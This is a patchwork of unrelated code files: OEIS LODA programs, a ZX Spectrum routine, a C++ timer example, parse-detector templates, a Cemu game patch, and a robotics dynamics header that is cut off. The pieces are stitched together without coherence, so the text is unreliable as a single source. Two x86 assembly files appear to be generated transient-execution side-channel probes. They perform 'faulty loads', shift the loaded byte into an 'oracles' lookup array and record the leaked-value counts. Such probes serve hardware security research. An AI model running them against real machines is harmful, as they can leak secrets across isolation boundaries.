globalCCol+2*WG_NUM_COLS) ], alpha, rC[3][2], beta )}\n" " if (globalCCol+3*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+3*WG_NUM_ROWS, globalCCol+3*WG_NUM_COLS) ], alpha, rC[3][3], beta )}\n" "\n" "}\n" ""; #else #endif
; A120070: Triangle of numbers used to compute the frequencies of the spectral lines of the hydrogen atom. ; Submitted by Simon Strandgaard ; 3,8,5,15,12,7,24,21,16,9,35,32,27,20,11,48,45,40,33,24,13,63,60,55,48,39,28,15,80,77,72,65,56,45,32,17,99,96,91,84,75,64,51,36,19,120,117,112,105,96,85,72,57,40,21,143,140,135,128,119,108,95,80,63,44,23,168,165,160,153,144,133,120,105,88,69,48,25,195,192,187,180,171,160,147,132,115,96,75,52,27,224,221,216,209,200,189,176,161,144 lpb $0 add $1,1 sub $0,$1 lpe add $0,1 pow $0,2 add $1,2 pow $1,2 sub $1,$0 mov $0,$1
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x11123, %rsi lea addresses_WT_ht+0x16867, %rdi clflush (%rsi) nop xor %r9, %r9 mov $35, %rcx rep movsl nop nop nop add %r14, %r14 lea addresses_WC_ht+0x1d767, %rsi nop add $36014, %r15 mov (%rsi), %r9d nop inc %r15 lea addresses_D_ht+0x10867, %rsi lea addresses_UC_ht+0x11dc7, %rdi nop nop xor %rbp, %rbp mov $89, %rcx rep movsw nop nop nop nop and %rsi, %rsi lea addresses_A_ht+0x2f87, %r15 add $62088, %rsi mov $0x6162636465666768, %rdi movq %rdi, (%r15) nop and %r9, %r9 lea addresses_normal_ht+0x1417b, %rsi lea addresses_WC_ht+0x1eb84, %rdi nop add $931, %r10 mov $108, %rcx rep movsq nop nop nop nop sub %rbp, %rbp lea addresses_UC_ht+0x111a7, %rsi nop nop inc %rcx mov $0x6162636465666768, %r10 movq %r10, %xmm7 and $0xffffffffffffffc0, %rsi vmovntdq %ymm7, (%rsi) nop nop lfence lea addresses_A_ht+0x45ab, %rsi nop nop nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %rbp movq %rbp, (%rsi) cmp $7177, %rdi lea addresses_WC_ht+0x9067, %rsi clflush (%rsi) nop nop nop nop nop inc %rdi mov (%rsi), %r14w nop sub $17764, %rsi lea addresses_UC_ht+0x848b, %rsi lea addresses_WC_ht+0xf637, %rdi nop sub $64591, %r15 mov $52, %rcx rep movsb nop nop nop cmp %rcx, %rcx lea addresses_normal_ht+0x4367, %rbp nop cmp $28615, %r14 mov $0x6162636465666768, %rcx movq %rcx, (%rbp) nop cmp %rdi, %rdi lea addresses_WC_ht+0x1ade1, %rsi lea addresses_A_ht+0xb75f, %rdi nop nop nop xor $10491, %r10 mov $115, %rcx rep movsw nop nop nop xor $12046, %r14 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %rax push %rdi push %rdx push %rsi // Faulty Load lea addresses_WT+0xc867, %r11 nop nop nop add $17093, %rsi vmovntdqa (%r11), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rdi lea oracles, %rsi and $0xff, %rdi shlq $12, %rdi mov (%rsi,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rax pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}} {'46': 20507, '00': 30, '48': 7, '44': 1285} 46 46 46 46 46 46 46 46 46 44 46 46 46 44 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 44 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 44 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 00 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 44 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 00 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 44 46 46 46 46 46 46 46 46 44 46 46 00 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 */
; A051606: a(n) = (3*n+6)!!!/6!!!, related to A032031 ((3*n)!!! triple factorials). ; 1,9,108,1620,29160,612360,14696640,396809280,11904278400,392841187200,14142282739200,551549026828800,23165059126809600,1042427660706432000,50036527713908736000,2551862913409345536000,137800597324104658944000,7854634047473965559808000,471278042848437933588480000,29690516699451589816074240000,1959574102163804927860899840000,135210613049302540022402088960000,9735164139549782881612950405120000,730137310466233716120971280384000000,56950710216366229857435759869952000000 add $0,2 mov $1,2 lpb $0 sub $0,1 add $2,3 mul $1,$2 lpe div $1,36 mov $0,$1
; uchar __FASTCALL__ *zx_aaddrcright(void *attraddr) ; aralbrec 06.2007 XLIB zx_aaddrcright .zx_aaddrcright ; hl = valid attribute address ; hl = new attribute address right one character with line wrap ; carry if off screen inc hl ld a,$5a cp h ret
// Copyright (c) 2013-2021 niXman (github dotty nixman doggy pm dotty me) // All rights reserved. // // This file is part of EASYNET(https://github.com/niXman/easynet) project. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // Redistributions of source code must retain the above copyright notice, this // list of conditions and the following disclaimer. // // Redistributions in binary form must reproduce the above copyright notice, this // list of conditions and the following disclaimer in the documentation and/or // other materials provided with the distribution. // // Neither the name of the {organization} nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include <easynet/timer.hpp> #include <boost/asio/io_context.hpp> #include <iostream> /***************************************************************************/ struct timer_object: std::enable_shared_from_this<timer_object> { timer_object(boost::asio::io_context &ios) :m_timer{ios} {} void start() { m_timer.start( 1000 ,[this] (const easynet::error_code &ec, easynet::impl_holder holder) { on_timeout_0(ec, std::move(holder)); } ,shared_from_this() ); } void on_timeout_0(const easynet::error_code &ec, easynet::impl_holder holder) { std::cout << "on_timeout_0(): ec=" << ec << std::endl; m_timer.start(1000, this, &timer_object::on_timeout_1, std::move(holder)); } void on_timeout_1(const easynet::error_code &ec, easynet::impl_holder) { std::cout << "on_timeout_1(): ec=" << ec << std::endl; } easynet::timer m_timer; }; /***************************************************************************/ int main(int, char**) { try { boost::asio::io_context ios; { auto timer = std::make_shared<timer_object>(ios); timer->start(); } ios.run(); } catch (const std::exception &ex) { std::cout << "[exception]: " << ex.what() << std::endl; return EXIT_FAILURE; } return EXIT_SUCCESS; } /***************************************************************************/
// Test provided by Karu //SEQ test 4. Test saving 0 to rs // // Michael McKinley (mckinley) lbi r1, 0xff lbi r2, 0x35 seq r1, r1, r2 halt
; A214673: Floor of the moduli of the zeros of the complex Lucas function. ; 0,2,4,6,8,10,12,14,16,18,20,21,23,25,27,29,31,33,35,37,39,41,43,44,46,48,50,52,54,56,58,60,62,64,65,67,69,71,73,75,77,79,81,83,85,87,88,90,92,94,96,98,100,102,104,106,108,109,111,113,115,117,119,121,123,125 add $0,1 mul $0,88 div $0,46 sub $0,1
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x18ed7, %r11 nop nop nop nop and $48464, %r8 mov $0x6162636465666768, %rdx movq %rdx, %xmm0 vmovups %ymm0, (%r11) nop add $36515, %rbp lea addresses_D_ht+0xe82f, %rsi lea addresses_UC_ht+0x4c51, %rdi clflush (%rsi) add $49541, %rbp mov $86, %rcx rep movsw nop nop nop nop add %rcx, %rcx lea addresses_WC_ht+0x9db7, %rsi lea addresses_WC_ht+0xcb51, %rdi nop inc %rbp mov $0, %rcx rep movsb nop nop nop xor $24104, %rdi lea addresses_WC_ht+0x14951, %rdx nop nop lfence movw $0x6162, (%rdx) lfence lea addresses_D_ht+0x6f31, %r11 nop and %rsi, %rsi movb (%r11), %cl nop nop nop add %rdi, %rdi lea addresses_WC_ht+0x3ba1, %r11 nop nop nop nop xor $14018, %rcx mov (%r11), %di nop nop nop add $24870, %rsi lea addresses_normal_ht+0x12151, %rdx nop nop xor $55358, %r8 mov (%rdx), %r11d nop nop nop xor $65141, %r8 lea addresses_A_ht+0x16551, %rcx nop nop nop nop nop sub %r11, %r11 mov $0x6162636465666768, %rsi movq %rsi, (%rcx) nop nop add %rsi, %rsi lea addresses_A_ht+0xd551, %rdi nop nop nop nop nop dec %rbp vmovups (%rdi), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %rcx nop nop sub $43403, %rbp lea addresses_normal_ht+0x6d51, %r8 nop nop nop nop nop inc %rdx vmovups (%r8), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rdi cmp %rbp, %rbp lea addresses_UC_ht+0x1b651, %rsi lea addresses_normal_ht+0x1954d, %rdi nop nop nop nop cmp $45387, %r13 mov $85, %rcx rep movsw nop nop and $20433, %rdi lea addresses_A_ht+0x6d51, %rcx nop nop nop and %rdi, %rdi movb $0x61, (%rcx) nop nop cmp $20529, %r8 lea addresses_UC_ht+0x1e4b1, %r11 nop nop nop add %rsi, %rsi movups (%r11), %xmm1 vpextrq $1, %xmm1, %r13 nop nop sub %rcx, %rcx lea addresses_WT_ht+0x16de9, %rsi lea addresses_D_ht+0xd151, %rdi nop nop nop nop nop add $22862, %rbp mov $109, %rcx rep movsl nop nop cmp %r11, %r11 lea addresses_UC_ht+0x11051, %rsi nop nop nop nop nop cmp $31431, %r11 movw $0x6162, (%rsi) nop dec %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r8 push %r9 push %rcx // Store lea addresses_D+0x739, %r13 nop nop nop nop and $19790, %rcx mov $0x5152535455565758, %r11 movq %r11, (%r13) nop nop nop nop nop sub %r12, %r12 // Faulty Load lea addresses_WT+0x17d51, %r8 nop nop and %r13, %r13 movb (%r8), %r9b lea oracles, %r8 and $0xff, %r9 shlq $12, %r9 mov (%r8,%r9,1), %r9 pop %rcx pop %r9 pop %r8 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': True}} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}} {'src': {'same': False, 'congruent': 4, 'NT': True, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': True, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
#pragma once #include "cli/details/Parse_fwd.hpp" namespace cli { namespace details { /// @brief Detector for user defined parse functions. /// @details A user defined parse function has the highest priority within /// cli::Parse(). The signature of these functions are /// "void CLIParse(T &, const char *)". template <typename T> struct HasUserDefinedParse { private: template <typename U> static constexpr decltype( CLIParse(std::declval<U &>(), std::declval<const char *>()), bool()) Test(int) { return true; } template <typename U> static constexpr bool Test(...) { return false; } public: static constexpr bool value = Test<T>(int()); }; template <typename T> constexpr bool HasUserDefinedParse_v = HasUserDefinedParse<T>::value; /// @brief Detector for an internal parse function. /// @details These parse functions have the signature /// "void cli::details::Parse(T &, const char *)" and are considered if /// no suitable user defined parser exists. template <typename T> struct HasInternalParse { private: template <typename U> static constexpr decltype( cli::details::Parse(std::declval<U &>(), std::declval<const char *>()), bool()) Test(int) { return true; } template <typename U> static constexpr bool Test(...) { return false; } public: static constexpr bool value = Test<T>(int()); }; template <typename T> constexpr bool HasInternalParse_v = HasInternalParse<T>::value; /// @brief Detector for a stream extraction operator. /// @details Using a stream extraction operator with a std::istringstream is /// considered only if there is no suitable user defined or internal parser. template <typename T> struct HasStreamExtraction { private: template <typename U> static constexpr decltype( std::declval<std::istringstream>() >> std::declval<U &>(), bool()) Test(int) { return true; } template <typename U> static constexpr bool Test(...) { return false; } public: static constexpr bool value = Test<T>(int()); }; template <typename T> constexpr bool HasStreamExtraction_v = HasStreamExtraction<T>::value; } // namespace details } // namespace cli
sta {m1} ora #$7f bmi !+ lda #0 !: sta {m1}+1
[BotW_ReshadeCompatibility_v208] moduleMatches = 0x6267BFD0 ; Prevents the depth buffer being swapped at certain camera angles with one that's only near-field which breaks Reshade effects 0x038A48BC = li r0, 0
#ifndef IDOCP_UNCONSTR_DYNAMICS_HXX_ #define IDOCP_UNCONSTR_DYNAMICS_HXX_ #include "idocp/unconstr/unconstr_dynamics.hpp" #include <stdexcept> #include <cassert> namespace idocp { inline UnconstrDynamics::UnconstrDynamics(const Robot& robot) : lu_condensed_(Eigen::VectorXd::Zero(robot.dimv())), ID_(Eigen::VectorXd::Zero(robot.dimv())), Quu_(Eigen::MatrixXd::Zero(robot.dimv(), robot.dimv())), dID_dq_(Eigen::MatrixXd::Zero(robot.dimv(), robot.dimv())), dID_dv_(Eigen::MatrixXd::Zero(robot.dimv(), robot.dimv())), dID_da_(Eigen::MatrixXd::Zero(robot.dimv(), robot.dimv())), Quu_dID_dq_(Eigen::MatrixXd::Zero(robot.dimv(), robot.dimv())), Quu_dID_dv_(Eigen::MatrixXd::Zero(robot.dimv(), robot.dimv())), Quu_dID_da_(Eigen::MatrixXd::Zero(robot.dimv(), robot.dimv())), dimv_(robot.dimv()) { try { if (robot.hasFloatingBase()) { throw std::logic_error("robot has floating base: robot should have no constraints!"); } if (robot.maxPointContacts() > 0) { throw std::logic_error("robot can have contacts: robot should have no constraints!"); } } catch(const std::exception& e) { std::cerr << e.what() << '\n'; std::exit(EXIT_FAILURE); } } inline UnconstrDynamics::UnconstrDynamics() : lu_condensed_(), ID_(), Quu_(), dID_dq_(), dID_dv_(), dID_da_(), Quu_dID_dq_(), Quu_dID_dv_(), Quu_dID_da_(), dimv_(0) { } inline UnconstrDynamics::~UnconstrDynamics() { } inline void UnconstrDynamics::computeUnconstrDynamicsResidual( Robot& robot, const SplitSolution& s) { robot.RNEA(s.q, s.v, s.a, ID_); ID_.noalias() -= s.u; } inline void UnconstrDynamics::linearizeUnconstrDynamics( Robot& robot, const double dt, const SplitSolution& s, SplitKKTResidual& kkt_residual) { assert(dt > 0); computeUnconstrDynamicsResidual(robot, s); // augment inverse dynamics constraint robot.RNEADerivatives(s.q, s.v, s.a, dID_dq_, dID_dv_, dID_da_); kkt_residual.lq().noalias() += dt * dID_dq_.transpose() * s.beta; kkt_residual.lv().noalias() += dt * dID_dv_.transpose() * s.beta; kkt_residual.la.noalias() += dt * dID_da_.transpose() * s.beta; kkt_residual.lu.noalias() -= dt * s.beta; } inline void UnconstrDynamics::condenseUnconstrDynamics( SplitKKTMatrix& kkt_matrix, SplitKKTResidual& kkt_residual) { // condense KKT residual lu_condensed_ = kkt_residual.lu; lu_condensed_.noalias() += kkt_matrix.Quu.diagonal().asDiagonal() * ID_; kkt_residual.lq().noalias() += dID_dq_.transpose() * lu_condensed_; kkt_residual.lv().noalias() += dID_dv_.transpose() * lu_condensed_; kkt_residual.la.noalias() += dID_da_.transpose() * lu_condensed_; // condense KKT Hessian Quu_dID_dq_.noalias() = kkt_matrix.Quu.diagonal().asDiagonal() * dID_dq_; Quu_dID_dv_.noalias() = kkt_matrix.Quu.diagonal().asDiagonal() * dID_dv_; Quu_dID_da_.noalias() = kkt_matrix.Quu.diagonal().asDiagonal() * dID_da_; kkt_matrix.Qqq().noalias() += dID_dq_.transpose() * Quu_dID_dq_; kkt_matrix.Qqv().noalias() += dID_dq_.transpose() * Quu_dID_dv_; kkt_matrix.Qvq() = kkt_matrix.Qqv().transpose(); kkt_matrix.Qvv().noalias() += dID_dv_.transpose() * Quu_dID_dv_; kkt_matrix.Qaa.noalias() += dID_da_.transpose() * Quu_dID_da_; // this is actually Qqa and Qqv kkt_matrix.Qqu().noalias() = Quu_dID_dq_.transpose() * dID_da_; kkt_matrix.Qvu().noalias() = Quu_dID_dv_.transpose() * dID_da_; } inline void UnconstrDynamics::expandPrimal(SplitDirection& d) const { d.du = ID_; d.du.noalias() += dID_dq_ * d.dq(); d.du.noalias() += dID_dv_ * d.dv(); d.du.noalias() += dID_da_ * d.da(); } inline void UnconstrDynamics::expandDual(const double dt, const SplitKKTMatrix& kkt_matrix, const SplitKKTResidual& kkt_residual, SplitDirection& d) { assert(dt > 0); d.dbeta().noalias() = (kkt_residual.lu + kkt_matrix.Quu * d.du) / dt; } inline double UnconstrDynamics::KKTError() const { return ID_.squaredNorm(); } inline double UnconstrDynamics::constraintViolation() const { return ID_.lpNorm<1>(); } template <typename MatrixType1, typename MatrixType2> inline void UnconstrDynamics::getStateFeedbackGain( const Eigen::MatrixBase<MatrixType1>& Ka, const Eigen::MatrixBase<MatrixType2>& Ku) const { assert(Ka.rows() == dimv_); assert(Ka.cols() == 2*dimv_); assert(Ku.rows() == dimv_); assert(Ku.cols() == 2*dimv_); getStateFeedbackGain( Ka.leftCols(dimv_), Ka.rightCols(dimv_), const_cast<Eigen::MatrixBase<MatrixType2>&>(Ku).leftCols(dimv_), const_cast<Eigen::MatrixBase<MatrixType2>&>(Ku).rightCols(dimv_)); } template <typename MatrixType1, typename MatrixType2, typename MatrixType3, typename 